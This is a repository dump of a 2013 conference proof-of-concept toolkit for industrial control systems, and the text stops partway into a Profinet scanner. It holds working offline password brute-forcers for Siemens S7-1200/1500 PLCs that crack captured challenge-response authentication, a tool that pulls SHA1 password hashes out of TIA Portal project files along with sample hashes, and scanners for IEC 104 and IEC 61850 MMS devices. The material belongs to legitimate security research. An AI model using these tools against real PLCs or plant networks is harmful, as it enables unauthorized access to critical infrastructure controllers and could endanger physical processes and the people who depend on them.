├── README.md ├── S7 ├── s7-1200_brute_offline.py ├── s7-1500_brute_offline.py ├── s7_password_hashes_extractor.hashes └── s7_password_hashes_extractor.py ├── iec-60870-5-104 ├── iec-60870-5-104.log ├── iec-60870-5-104.py └── iec-identify.nse ├── iec-61850-8-1 ├── iec-61850-8-1.log ├── iec-61850-8-1.py └── mms-identify.nse └── profinet ├── profinet_scanner.noscapy.py ├── profinet_scanner.scapy.py └── profinet_set_fuzzer.py /README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atimorin/PoC2013/cb9724b8772090828ced5ffb8df9a914e07159e0/README.md -------------------------------------------------------------------------------- /S7/s7-1200_brute_offline.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | File: s7_brute_offline.py 5 | Desc: Offline password bruteforse based on challenge-response data, 6 | extracted from auth traffic dump file. 7 | """ 8 | 9 | __author__ = "Aleksandr Timorin" 10 | __copyright__ = "Copyright 2013, Positive Technologies" 11 | __license__ = "GNU GPL v3" 12 | __version__ = "1.1" 13 | __maintainer__ = "Aleksandr Timorin" 14 | __email__ = "atimorin@gmail.com" 15 | __status__ = "Development" 16 | 17 | import sys 18 | import hashlib 19 | import hmac 20 | import optparse 21 | from binascii import hexlify 22 | try: 23 | from scapy.all import * 24 | except ImportError: 25 | print "please install scapy: http://www.secdev.org/projects/scapy/ " 26 | sys.exit() 27 | 28 | 29 | def get_challenge_response(pcap_file): 30 | r = rdpcap(pcap_file) 31 | 32 | lens = map(lambda x: x.len, r) 33 | pckt_lens = dict([(i, lens[i]) for i in range(0,len(lens))]) 34 | 35 | # try to find challenge packet 36 | pckt_108 = 0 #challenge packet (from server) 37 | for (pckt_indx, pckt_len) in pckt_lens.items(): 38 | if pckt_len+14 == 108 and hexlify(r[pckt_indx].load)[14:24] == '7202002732': 39 | pckt_108 = pckt_indx 40 | break 41 | 42 | # try to find response packet 43 | pckt_141 = 0 #response packet (from client) 44 | _t1 = dict([ (i, lens[i]) for i in pckt_lens.keys()[pckt_108:] ]) 45 | for pckt_indx in sorted(_t1.keys()): 46 | pckt_len = _t1[pckt_indx] 47 | if pckt_len+14 == 141 and hexlify(r[pckt_indx].load)[14:24] == '7202004831': 48 | pckt_141 = pckt_indx 49 | break 50 | 51 | # try to find auth result packet 52 | pckt_84 = 0 # auth answer from plc: pckt_len==84 -> auth ok 53 | pckt_92 = 0 # auth answer from plc: pckt_len==92 -> auth bad 54 | for pckt_indx in sorted(_t1.keys()): 55 | pckt_len = _t1[pckt_indx] 56 | if pckt_len+14 == 84 and hexlify(r[pckt_indx].load)[14:24] == '7202000f32': 57 | pckt_84 = pckt_indx 58 | break 59 | if pckt_len+14 == 92 and hexlify(r[pckt_indx].load)[14:24] == '7202001732': 60 | pckt_92 = pckt_indx 61 | break 62 | 63 | print "found packet indeces: pckt_108=%d, pckt_141=%d, pckt_84=%d, pckt_92=%d" % (pckt_108, pckt_141, pckt_84, pckt_92) 64 | if pckt_84: 65 | print "auth ok" 66 | else: 67 | print "auth bad. for brute we need right auth result. exit" 68 | sys.exit() 69 | 70 | challenge = None 71 | response = None 72 | 73 | raw_challenge = hexlify(r[pckt_108].load) 74 | if raw_challenge[46:52] == '100214' and raw_challenge[92:94] == '00': 75 | challenge = raw_challenge[52:92] 76 | print "found challenge: %s" % challenge 77 | else: 78 | print "cannot find challenge. exit" 79 | sys.exit() 80 | 81 | raw_response = hexlify(r[pckt_141].load) 82 | if raw_response[64:70] == '100214' and raw_response[110:112] == '00': 83 | response = raw_response[70:110] 84 | print "found response: %s" % response 85 | else: 86 | print "cannot find response. exit" 87 | sys.exit() 88 | 89 | return challenge, response 90 | 91 | def calculate_s7response(password, challenge): 92 | challenge = challenge.decode("hex") 93 | return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest() 94 | 95 | if __name__ == '__main__': 96 | parser = optparse.OptionParser() 97 | parser.add_option('-p', '--pcap', dest="pcap_file", help="traffic dump file") 98 | parser.add_option('-w', '--wordlist', dest="wordlist_file", help="wordlist file") 99 | options, args = parser.parse_args() 100 | 101 | pcap_file = options.pcap_file 102 | wordlist_file = options.wordlist_file 103 | if not pcap_file or not wordlist_file: 104 | parser.print_help() 105 | sys.exit() 106 | 107 | 108 | print "using pcap file: %s , wordlist file: %s" % (pcap_file, wordlist_file) 109 | challenge, response = get_challenge_response(pcap_file) 110 | print "start password bruteforsing ..." 111 | for p in open(wordlist_file): 112 | p = p.strip() 113 | if response == calculate_s7response(p, challenge): 114 | print "found password: %s" % p 115 | sys.exit() 116 | print "password not found. try another wordlist." 117 | 118 | 119 | 120 | 121 | -------------------------------------------------------------------------------- /S7/s7-1500_brute_offline.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*-mode: python; coding: UTF-8 -*- 3 | 4 | """ 5 | File: s7-1500_brute_offline.py 6 | Desc: Offline password bruteforse based on challenge-response data, 7 | extracted from auth traffic dump file for Siemens S7-1500 PLC's. 8 | IMPORTANT: traffic dump should contains only traffic between plc and hmi/pc/etc. filter dump file before parse 9 | 10 | Power of Community 2013 conference release. 11 | 12 | Scapy required. Works on *nix and win* systems. 13 | """ 14 | 15 | __author__ = "Aleksandr Timorin" 16 | __copyright__ = "Copyright 2013, Positive Technologies" 17 | __license__ = "GNU GPL v3" 18 | __version__ = "1.2" 19 | __maintainer__ = "Aleksandr Timorin" 20 | __email__ = "atimorin@gmail.com" 21 | __status__ = "Development" 22 | 23 | __2do__ = " grab some beer " 24 | 25 | import sys 26 | import hashlib 27 | import hmac 28 | import optparse 29 | 30 | try: 31 | from scapy.all import * 32 | except ImportError: 33 | print "please install scapy: http://www.secdev.org/projects/scapy/ " 34 | sys.exit() 35 | 36 | 37 | def get_challenges_responses(pcap_file): 38 | # parse pcap file and extract (challenge, response, auth_result) 39 | 40 | result = {} 41 | challenge = '' 42 | response = '' 43 | auth_result = '' 44 | 45 | for packet in rdpcap(pcap_file): 46 | try: 47 | payload = packet.load.encode('hex') 48 | #if payload[14:26]=='720200453200' and payload[46:52]=='100214' and abs(packet.len+14 - 138)<=1: 49 | if payload[14:20]=='720200' and payload[46:52]=='100214' and abs(packet.len+14 - 138)<=1: 50 | challenge = payload[52:92] 51 | #elif payload[14:26]=='720200663100' and payload[64:70]=='100214' and abs(packet.len+14 - 171)<=1: 52 | elif payload[14:20]=='720200' and payload[64:70]=='100214' and abs(packet.len+14 - 171)<=1: 53 | response = payload[70:110] 54 | 55 | if challenge and response: 56 | auth_result = 'unknown' 57 | result[challenge] = (response, auth_result) 58 | challenge = '' 59 | response = '' 60 | auth_result = '' 61 | except: 62 | pass 63 | 64 | return result 65 | 66 | def calculate_s7response(password, challenge): 67 | challenge = challenge.decode("hex") 68 | return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest() 69 | 70 | if __name__ == '__main__': 71 | print """ 72 | Offline password bruteforse based on challenge-response data, 73 | extracted from auth traffic dump file for Siemens S7-1500 PLC's. 74 | IMPORTANT: traffic dump should contains only traffic between plc and hmi/pc/etc. filter dump file before parse 75 | 76 | Power of Community 2013 conference release. 77 | 78 | Scapy required. Works on *nix and win* systems. 79 | """ 80 | 81 | parser = optparse.OptionParser() 82 | parser.add_option('-p', '--pcap', dest="pcap_file", help="traffic dump file") 83 | parser.add_option('-w', '--wordlist', dest="wordlist_file", help="wordlist file") 84 | parser.add_option('-j', '--jtr', dest="jtr_file", help="john the ripper format export file") 85 | 86 | parser.print_help() 87 | raw_input("press key to continue...") 88 | 89 | options, args = parser.parse_args() 90 | 91 | pcap_file = options.pcap_file 92 | wordlist_file = options.wordlist_file 93 | jtr_file = options.jtr_file 94 | # https://raw.github.com/kholia/JohnTheRipper/a7370d3b326789bbf9bc996fc7899957e8fba726/run/s7tojohn.py 95 | # jtr format: print "%s:$siemens-s7$%s$%s$%s" % (cfg_pcap_file, outcome, challenge, response) 96 | 97 | if not pcap_file: 98 | parser.print_help() 99 | sys.exit() 100 | 101 | 102 | print "[+] using pcap file: %s , wordlist file: %s" % (pcap_file, wordlist_file) 103 | result = get_challenges_responses(pcap_file) 104 | print "[+] found challenge-response:" 105 | for challenge in result.keys(): 106 | response = result[challenge][0] 107 | auth_result = result[challenge][1] 108 | print "\tchallenge: %s response: %s auth result: %s" % (challenge, response, auth_result) 109 | if jtr_file: 110 | outcome = auth_result=='success' and 1 or 0 111 | open(jtr_file, 'a+').write('$siemens-s7$%d$%s$%s\n' % (outcome, challenge, response)) 112 | 113 | 114 | if wordlist_file: 115 | print "[!] start password bruteforsing" 116 | for p in open(wordlist_file): 117 | p = p.strip('\n') 118 | if p: 119 | for challenge in result.keys(): 120 | response = result[challenge][0] 121 | auth_result = result[challenge][1] 122 | if response == calculate_s7response(p, challenge): 123 | print "[+] found password: %s challenge: %s response: %s" % (p, challenge, response) 124 | del result[challenge] 125 | 126 | print "[+] work done" 127 | 128 | 129 | 130 | -------------------------------------------------------------------------------- /S7/s7_password_hashes_extractor.hashes: -------------------------------------------------------------------------------- 1 | 40bd001563085fc35165329ea1ff5c5ecbdbbeef 2 | ef56ad1362587b5302461ca1c03df022d61b0a1e 3 | c74bd9bc4ef69048126c62055741985a16aa7a83 4 | 3e9ba8eb61b1f8b0335a2cdfac6fc2f0fc5a825c -------------------------------------------------------------------------------- /S7/s7_password_hashes_extractor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | File: s7_password_hashes_extractor.py 5 | Desc: password hashes extractor from Siemens Simatic TIA Portal project file 6 | """ 7 | 8 | __author__ = "Aleksandr Timorin" 9 | __copyright__ = "Copyright 2013, Positive Technologies" 10 | __license__ = "GNU GPL v3" 11 | __version__ = "1.1" 12 | __maintainer__ = "Aleksandr Timorin" 13 | __email__ = "atimorin@gmail.com" 14 | __status__ = "Development" 15 | 16 | import sys 17 | import os 18 | import re 19 | import optparse 20 | from binascii import hexlify 21 | from hashlib import sha1 22 | 23 | cfg_result_hashes = 's7_password_hashes_extractor.hashes' 24 | 25 | if __name__ == '__main__': 26 | parser = optparse.OptionParser() 27 | parser.add_option('-p', dest="project_file", help="PEData.plf filepath") 28 | options, args = parser.parse_args() 29 | 30 | if not options.project_file: 31 | parser.print_help() 32 | sys.exit() 33 | 34 | data = open(options.project_file, 'rb').read() 35 | print "read PEData file %s, size 0x%X bytes" % (options.project_file, os.path.getsize(options.project_file)) 36 | 37 | print "sample of used passwords and hashes:" 38 | for p in ['123', '1234AaBb', '1234AaB', '1111111111aaaaaaaaaa']: 39 | print "\t%s : %s" % (p, sha1(p).hexdigest()) 40 | 41 | re_pattern = re.compile('456e6372797074656450617373776f72[a-f0-9]{240,360}000101000000[a-f0-9]{40}') 42 | possible_hashes = [s[-40:] for s in re_pattern.findall(hexlify(data))] 43 | possible_hashes = reduce(lambda x, y: x if y in x else x + [y], possible_hashes, []) 44 | open(cfg_result_hashes, 'w').write('\n'.join(possible_hashes)) 45 | 46 | total_hashes = len(possible_hashes) 47 | print "found %d sha1 hashes, ordered by histrory list:" % (total_hashes) 48 | for h in possible_hashes: 49 | pos = possible_hashes.index(h) + 1 50 | if pos == total_hashes: 51 | print '\thash %d: %s\t(current)' % (pos, h) 52 | else: 53 | print '\thash %d: %s' % (pos, h) 54 | -------------------------------------------------------------------------------- /iec-60870-5-104/iec-60870-5-104.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atimorin/PoC2013/cb9724b8772090828ced5ffb8df9a914e07159e0/iec-60870-5-104/iec-60870-5-104.log -------------------------------------------------------------------------------- /iec-60870-5-104/iec-60870-5-104.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | File: iec-60870-5-104.py 5 | Desc: IEC-60870-5-104 (IEC 104) protocol discovery tool. Power of Community 2013 conference release. 6 | 7 | """ 8 | 9 | __author__ = "Aleksandr Timorin" 10 | __copyright__ = "Copyright 2013, Positive Technologies" 11 | __license__ = "GNU GPL v3" 12 | __version__ = "0.1" 13 | __maintainer__ = "Aleksandr Timorin" 14 | __email__ = "atimorin@gmail.com" 15 | __status__ = "Development" 16 | 17 | 18 | import os 19 | import sys 20 | import logging 21 | import socket 22 | import struct 23 | 24 | from os.path import abspath 25 | from os.path import join as jpath 26 | 27 | logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(levelname)s %(message)s', filename='iec-60870-5-104.log', filemode='wb') 28 | 29 | 30 | def recv_from_socket(sock, rsize=1): 31 | recv = '' 32 | try: 33 | while True: 34 | r = sock.recv(rsize) 35 | if r: 36 | recv += r 37 | else: 38 | break 39 | except: 40 | pass 41 | return recv 42 | 43 | def iec104(dst): 44 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 45 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVTIMEO, struct.pack('ii', int(2), 0)) # 2 sec timeout 46 | try: 47 | sock.connect(dst) 48 | except: 49 | return '', -1 50 | # ========================================================================= 51 | 52 | TESTFR = [ 53 | # iec 104 apci layer 54 | 0x68, # start 55 | 0x04, # APDU len 56 | 0x43, # type 0100 0011 57 | 0x00, 0x00, 0x00 # padding 58 | 59 | ] 60 | 61 | sock.send(''.join(map(chr,TESTFR))) 62 | recv = recv_from_socket(sock) 63 | if recv: 64 | logging.info('{0}'.format(dst)) 65 | logging.debug('iec104 TESTFR : recv: %s' % recv.encode('hex')) 66 | print "testfr recv: %s" % recv.encode('hex') 67 | else: 68 | print "testfr: nothing received" 69 | return recv, -1 70 | 71 | # ========================================================================= 72 | 73 | STARTDT = [ 74 | # iec 104 apci layer 75 | 0x68, # start 76 | 0x04, # APDU len 77 | 0x07, # type 0000 0111 78 | 0x00, 0x00, 0x00 # padding 79 | 80 | ] 81 | 82 | sock.send(''.join(map(chr,STARTDT))) 83 | recv = recv_from_socket(sock) 84 | if recv: 85 | logging.info('{0}'.format(dst)) 86 | logging.debug('iec104 STARTDT : recv: %s' % recv.encode('hex')) 87 | #print "recv: %r" % recv 88 | print "startdt recv: %s" % recv.encode('hex') 89 | else: 90 | print 'startdt: nothing received' 91 | return recv, -1 92 | 93 | # if received 2 packets - STARTDT con + ME_EI_NA_1 Init - full length should be 6+6+10 bytes 94 | if len(recv) == 22: 95 | asdu_addr, = struct.unpack(' """ % sys.argv[0] 147 | return 148 | 149 | if __name__ == '__main__': 150 | 151 | print_help() 152 | raw_input("press key to continue...") 153 | for l in open(sys.argv[1]): 154 | ip = l.strip() 155 | if ip: 156 | print "process %s" % ip 157 | dst = (ip, 2404) 158 | recv, asdu_addr = iec104(dst) 159 | print "ip: {0}, recv: {1}, asdu_addr: {2}".format(ip, recv.encode('hex'), asdu_addr) 160 | 161 | -------------------------------------------------------------------------------- /iec-60870-5-104/iec-identify.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | IEC-60870-5-104 (IEC 104) protocol discovery tool. Power of Community 2013 conference release. 3 | Attemts to check tcp/2404 port supporting IEC 60870-5-104 ICS protocol. 4 | ]] 5 | 6 | --- 7 | -- @usage 8 | -- nmap -Pn -n -d --script iec-identify.nse --script-args='iec-identify.timeout=500' -p 2404 9 | -- 10 | -- @args iec-identify.timeout 11 | -- Set the timeout in milliseconds. The default value is 500. 12 | -- 13 | -- @output 14 | -- PORT STATE SERVICE REASON 15 | -- 2404/tcp open IEC 60870-5-104 syn-ack 16 | -- | iec-identify: 17 | -- | testfr sent / recv: 680443000000 / 680483000000 18 | -- | startdt sent / recv: 680407000000 / 68040b000000 19 | -- | c_ic_na_1 sent / recv: 680e0000000064010600ffff00000000 / 680e0000020064014700ffff00000014 20 | -- |_ asdu address: 65535 21 | -- 22 | -- Version 0.1 23 | -- 24 | --- 25 | 26 | author = "Aleksandr Timorin" 27 | copyright = "Aleksandr Timorin" 28 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 29 | categories = {"discovery", "intrusive"} 30 | 31 | local shortport = require("shortport") 32 | local bin = require("bin") 33 | local comm = require("comm") 34 | local stdnse = require("stdnse") 35 | 36 | portrule = shortport.portnumber(2404, "tcp") 37 | 38 | local function hex2str(str) 39 | local x = {} 40 | local char_int 41 | for y in str:gmatch('(..)') do 42 | char_int = tonumber(y, 16) 43 | if char_int>=32 and char_int<=126 then 44 | x[#x+1] = string.char( char_int ) 45 | else 46 | x[#x+1] = y 47 | end 48 | end 49 | return table.concat( x ) 50 | end 51 | 52 | action = function(host, port) 53 | 54 | local timeout = stdnse.get_script_args("iec-identify.timeout") 55 | timeout = tonumber(timeout) or 500 56 | 57 | local asdu_address 58 | local pos 59 | local status, recv 60 | local output = {} 61 | local socket = nmap.new_socket() 62 | 63 | socket:set_timeout(timeout) 64 | 65 | -- attempt to connect tp 2404 tcp port 66 | stdnse.print_debug(1, "try to connect to port 2404" ) 67 | status, result = socket:connect(host, port, "tcp") 68 | --stdnse.print_debug(1, "connect status %s", status ) 69 | if not status then 70 | return nil 71 | end 72 | 73 | -- send TESTFR command 74 | local TESTFR = string.char(0x68, 0x04, 0x43, 0x00, 0x00, 0x00) 75 | status = socket:send( TESTFR ) 76 | stdnse.print_debug(1, "testfr status %s", status ) 77 | if not status then 78 | return nil 79 | end 80 | 81 | -- receive TESTFR answer 82 | status, recv = socket:receive_bytes(1024) 83 | stdnse.print_debug(1, "testfr recv: %s", stdnse.tohex(recv) ) 84 | --table.insert(output, string.format("testfr sent / recv: %s / %s", hex2str( stdnse.tohex(TESTFR)), hex2str( stdnse.tohex(recv)))) 85 | table.insert(output, string.format("testfr sent / recv: %s / %s", stdnse.tohex(TESTFR), stdnse.tohex(recv))) 86 | 87 | -- send STARTDT command 88 | local STARTDT = string.char(0x68, 0x04, 0x07, 0x00, 0x00, 0x00) 89 | status = socket:send( STARTDT ) 90 | if not status then 91 | return nil 92 | end 93 | 94 | -- receive STARTDT answer 95 | status, recv = socket:receive_bytes(0) 96 | stdnse.print_debug(1, "startd recv len: %d", #recv ) 97 | stdnse.print_debug(1, "startdt recv: %s", stdnse.tohex(recv) ) 98 | --table.insert(output, string.format("startdt sent / recv: %s / %s", hex2str( stdnse.tohex(STARTDT)), hex2str( stdnse.tohex(recv)))) 99 | table.insert(output, string.format("startdt sent / recv: %s / %s", stdnse.tohex(STARTDT), stdnse.tohex(recv))) 100 | 101 | -- if received 2 packets - STARTDT con + ME_EI_NA_1 Init -> full length should be 6+6+10 bytes 102 | if #recv == 22 then 103 | pos, asdu_address = bin.unpack(" """ % sys.argv[0] 132 | return 133 | 134 | 135 | if __name__ == '__main__': 136 | print_help() 137 | raw_input("press key to continue...") 138 | 139 | dst = sys.argv[1] 140 | r = mms_Identify(dst) 141 | 142 | tpkt = struct.unpack('!I', r[:4]) 143 | print tpkt 144 | iso8073 = struct.unpack('!I', '\x00' + r[4:7]) 145 | iso8327 = struct.unpack('!I', r[7:11]) 146 | iso8823 = struct.unpack('!II', '\x00' + r[11:18]) 147 | mms = r[18:] 148 | 149 | a0, a0_packetsize = struct.unpack('!BB', mms[:2]) 150 | a1, a1_packetsize = struct.unpack('!BB', mms[2:4]) 151 | invokeID, invokeID_size = struct.unpack('!BB', mms[4:6]) 152 | a2, a2_packetsize = struct.unpack('!BB', mms[6+invokeID_size:6+invokeID_size+2]) 153 | mms_identify_info = mms[6+invokeID_size+2:] 154 | print "mms_identify_info: %r" % mms_identify_info 155 | vendor_name_size, = struct.unpack('!B', mms_identify_info[1:2]) 156 | vendor_name = ''.join(struct.unpack('!%dc' % vendor_name_size, mms_identify_info[2:2+vendor_name_size])) 157 | mms_identify_info = mms_identify_info[2+vendor_name_size:] 158 | model_name_size, = struct.unpack('!B', mms_identify_info[1:2]) 159 | model_name = ''.join(struct.unpack('!%dc' % model_name_size, mms_identify_info[2:2+model_name_size])) 160 | mms_identify_info = mms_identify_info[2+model_name_size:] 161 | revision_size, = struct.unpack('!B', mms_identify_info[1:2]) 162 | revision = ''.join(struct.unpack('!%dc' % revision_size, mms_identify_info[2:2+revision_size])) 163 | 164 | print "vendor name: {0}, model name: {1}, revision: {2}".format(vendor_name, model_name, revision) 165 | 166 | 167 | -------------------------------------------------------------------------------- /iec-61850-8-1/mms-identify.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Attemts to check tcp/102 port supporting iec-61850-8-1 (mms) ics protocol. Send identify request and extract vendor name, model name, revision from response. Power of Community 2013 conference release. 3 | ]] 4 | 5 | --- 6 | -- @usage 7 | -- nmap -d --script mms-identify.nse --script-args='mms-identify.timeout=500' -p 102 8 | -- 9 | -- @args mms-identify.timeout 10 | -- Set the timeout in milliseconds. The default value is 500. 11 | -- 12 | -- @output 13 | -- PORT STATE SERVICE 14 | -- 102/tcp open IEC 61850-8-1 MMS 15 | -- | mms-identify: 16 | -- | Raw answer: 030000>02f08001000100a10/020103a0*a1(020101a2#800flibiec61850.com810blibiec6185082030.5 17 | -- | Vendor name: libiec61850.com 18 | -- | Model name: libiec61850 19 | -- |_ Revision: 0.5 20 | -- 21 | -- Version 0.1 22 | -- 23 | --- 24 | 25 | author = "Aleksandr Timorin" 26 | copyright = "Aleksandr Timorin" 27 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 28 | categories = {"discovery", "intrusive"} 29 | 30 | local shortport = require("shortport") 31 | local bin = require("bin") 32 | local comm = require("comm") 33 | local stdnse = require("stdnse") 34 | 35 | portrule = shortport.portnumber(102, "tcp") 36 | 37 | local function hex2str(str) 38 | local x = {} 39 | local char_int 40 | for y in str:gmatch('(..)') do 41 | char_int = tonumber(y, 16) 42 | if char_int>=32 and char_int<=126 then 43 | x[#x+1] = string.char( char_int ) 44 | else 45 | x[#x+1] = y 46 | end 47 | end 48 | return table.concat( x ) 49 | end 50 | 51 | action = function(host, port) 52 | 53 | local timeout = stdnse.get_script_args("mms-identify.timeout") 54 | timeout = tonumber(timeout) or 500 55 | 56 | local status, recv 57 | local output = {} 58 | local socket = nmap.new_socket() 59 | 60 | socket:set_timeout(timeout) 61 | 62 | status, result = socket:connect(host, port, "tcp") 63 | if not status then 64 | return nil 65 | end 66 | 67 | local CR_TPDU = string.char(0x03, 0x00, 0x00, 0x0b, 0x06, 0xe0, 0xff, 0xff, 0xff, 0xff, 0x00) 68 | -- status, recv = comm.exchange(host, port, CR_TPDU, {timeout=timeout}) 69 | status = socket:send( CR_TPDU ) 70 | if not status then 71 | return nil 72 | end 73 | status, recv = socket:receive_bytes(1024) 74 | stdnse.print_debug(1, "cr_tpdu recv: %s", stdnse.tohex(recv) ) 75 | table.insert(output, string.format("cr_tpdu send / recv: %s / %s", hex2str( stdnse.tohex(CR_TPDU)), hex2str( stdnse.tohex(recv)))) 76 | 77 | local MMS_INITIATE = string.char( 78 | 0x03, 0x00, 0x00, 0xc5, 0x02, 0xf0, 0x80, 0x0d, 79 | 0xbc, 0x05, 0x06, 0x13, 80 | 0x01, 0x00, 0x16, 0x01, 0x02, 0x14, 0x02, 0x00, 81 | 0x02, 0x33, 0x02, 0x00, 0x01, 0x34, 0x02, 0x00, 82 | 0x02, 0xc1, 0xa6, 0x31, 0x81, 0xa3, 0xa0, 0x03, 83 | 0x80, 0x01, 0x01, 0xa2, 0x81, 0x9b, 0x80, 0x02, 84 | 0x07, 0x80, 0x81, 0x04, 0x00, 0x00, 0x00, 0x01, 85 | 0x82, 0x04, 0x00, 0x00, 0x00, 0x02, 0xa4, 0x23, 86 | 0x30, 0x0f, 0x02, 0x01, 0x01, 0x06, 0x04, 0x52, 87 | 0x01, 0x00, 0x01, 0x30, 0x04, 0x06, 0x02, 0x51, 88 | 0x01, 0x30, 0x10, 0x02, 0x01, 0x03, 0x06, 0x05, 89 | 0x28, 0xca, 0x22, 0x02, 0x01, 0x30, 0x04, 0x06, 90 | 0x02, 0x51, 0x01, 0x88, 0x02, 0x06, 0x00, 0x61, 91 | 0x60, 0x30, 0x5e, 0x02, 0x01, 0x01, 0xa0, 0x59, 92 | 0x60, 0x57, 0x80, 0x02, 0x07, 0x80, 0xa1, 0x07, 93 | 0x06, 0x05, 0x28, 0xca, 0x22, 0x01, 0x01, 0xa2, 94 | 0x04, 0x06, 0x02, 0x29, 0x02, 0xa3, 0x03, 0x02, 95 | 0x01, 0x02, 0xa6, 0x04, 0x06, 0x02, 0x29, 0x01, 96 | 0xa7, 0x03, 0x02, 0x01, 0x01, 0xbe, 0x32, 0x28, 97 | 0x30, 0x06, 0x02, 0x51, 0x01, 0x02, 0x01, 0x03, 98 | 0xa0, 0x27, 0xa8, 0x25, 0x80, 0x02, 0x7d, 0x00, 99 | 0x81, 0x01, 0x14, 0x82, 0x01, 0x14, 0x83, 0x01, 100 | 0x04, 0xa4, 0x16, 0x80, 0x01, 0x01, 0x81, 0x03, 101 | 0x05, 0xfb, 0x00, 0x82, 0x0c, 0x03, 0x6e, 0x1d, 102 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x01, 103 | 0x98 104 | ) 105 | 106 | status = socket:send( MMS_INITIATE ) 107 | if not status then 108 | return nil 109 | end 110 | status, recv = socket:receive_bytes(1024) 111 | stdnse.print_debug(1, "mms_initiate recv: %s", stdnse.tohex(recv) ) 112 | table.insert(output, string.format("mms_initiate send / recv: %s / %s", hex2str( stdnse.tohex(MMS_INITIATE)), hex2str( stdnse.tohex(recv)))) 113 | 114 | local MMS_IDENTIFY = string.char( 115 | 0x03, 0x00, 0x00, 0x1b, 0x02, 0xf0, 0x80, 0x01, 116 | 0x00, 0x01, 0x00, 0x61, 0x0e, 0x30, 0x0c, 0x02, 117 | 0x01, 0x03, 0xa0, 0x07, 0xa0, 0x05, 0x02, 0x01, 118 | 0x01, 0x82, 0x00 119 | ) 120 | 121 | status = socket:send( MMS_IDENTIFY ) 122 | if not status then 123 | return nil 124 | end 125 | status, recv = socket:receive_bytes(1024) 126 | stdnse.print_debug(1, "mms_identify recv: %s", stdnse.tohex(recv) ) 127 | table.insert(output, string.format("mms_identify send / recv: %s / %s", hex2str( stdnse.tohex(MMS_IDENTIFY)), hex2str( stdnse.tohex(recv)))) 128 | 129 | local parse_err_catch = function() 130 | stdnse.print_debug(1, "error while parsing answer" ) 131 | end 132 | 133 | local try = nmap.new_try(parse_err_catch) 134 | 135 | if ( status and recv ) then 136 | -- damn! rewrite with bin.unpack! 137 | table.insert(output, string.format("raw answer: %s", hex2str( stdnse.tohex(recv)))) 138 | local tmp_recv = stdnse.tohex(recv) 139 | local invokeID_size = tonumber(string.sub(tmp_recv, 47, 48), 16) 140 | stdnse.print_debug(1, "invokeID_size: %d", invokeID_size ) 141 | 142 | local mms_identify_info = string.sub(tmp_recv, 52 + 2*invokeID_size +1) 143 | local vendor_name_size = tonumber(string.sub(mms_identify_info, 3, 4), 16) 144 | local vendor_name = string.sub(mms_identify_info, 5, 5 + 2*vendor_name_size -1) 145 | table.insert(output, string.format("vendor name: %s", hex2str( vendor_name))) 146 | 147 | mms_identify_info = string.sub(mms_identify_info, 5 + 2*vendor_name_size) 148 | local model_name_size = tonumber(string.sub(mms_identify_info, 3, 4), 16) 149 | local model_name = string.sub(mms_identify_info, 5, 5 + 2*model_name_size -1) 150 | table.insert(output, string.format("model name: %s", hex2str( model_name))) 151 | 152 | mms_identify_info = string.sub(mms_identify_info, 5 + 2*model_name_size) 153 | local revision_size = tonumber(string.sub(mms_identify_info, 3, 4), 16) 154 | local revision = string.sub(mms_identify_info, 5, 5 + 2*revision_size -1) 155 | table.insert(output, string.format("revision: %s", hex2str( revision))) 156 | else 157 | return nil 158 | end 159 | 160 | if(#output > 0) then 161 | port.version.name = "IEC 61850-8-1 MMS" 162 | nmap.set_port_state(host, port, "open") 163 | nmap.set_port_version(host, port, "hardmatched") 164 | return stdnse.format_output(true, output) 165 | else 166 | return nil 167 | end 168 | end 169 | 170 | 171 | --[[ 172 | 173 | python parsing implementation 174 | 175 | tpkt = struct.unpack('!I', r[:4]) 176 | iso8073 = struct.unpack('!I', '\x00' + r[4:7]) 177 | iso8327 = struct.unpack('!I', r[7:11]) 178 | iso8823 = struct.unpack('!II', '\x00' + r[11:18]) 179 | mms = r[18:] 180 | a0, a0_packetsize = struct.unpack('!BB', mms[:2]) 181 | a1, a1_packetsize = struct.unpack('!BB', mms[2:4]) 182 | invokeID, invokeID_size = struct.unpack('!BB', mms[4:6]) 183 | a2, a2_packetsize = struct.unpack('!BB', mms[6+invokeID_size:6+invokeID_size+2]) 184 | mms_identify_info = mms[6+invokeID_size+2:] 185 | vendor_name_size, = struct.unpack('!B', mms_identify_info[1:2]) 186 | vendor_name = ''.join(struct.unpack('!%dc' % vendor_name_size, mms_identify_info[2:2+vendor_name_size])) 187 | mms_identify_info = mms_identify_info[2+vendor_name_size:] 188 | model_name_size, = struct.unpack('!B', mms_identify_info[1:2]) 189 | model_name = ''.join(struct.unpack('!%dc' % model_name_size, mms_identify_info[2:2+model_name_size])) 190 | mms_identify_info = mms_identify_info[2+model_name_size:] 191 | revision_size, = struct.unpack('!B', mms_identify_info[1:2]) 192 | revision = ''.join(struct.unpack('!%dc' % revision_size, mms_identify_info[2:2+revision_size])) 193 | 194 | print "vendor name: {0}, model name: {1}, revision: {2}".format(vendor_name, model_name, revision) 195 | 196 | 197 | 198 | --]] -------------------------------------------------------------------------------- /profinet/profinet_scanner.noscapy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | File: profinet_scanner.noscapy.py 5 | Desc: Profinet discovery tool. Send multicast ethernet packet and receive all answers. 6 | Extract useful info about devices: PLC, HMI, Workstations. 7 | Power of Community 2013 conference release. 8 | 9 | No scapy required. Works on *nix systems. 10 | """ 11 | 12 | __author__ = "Aleksandr Timorin" 13 | __copyright__ = "Copyright 2013, Positive Technologies" 14 | __license__ = "GNU GPL v3" 15 | __version__ = "0.1" 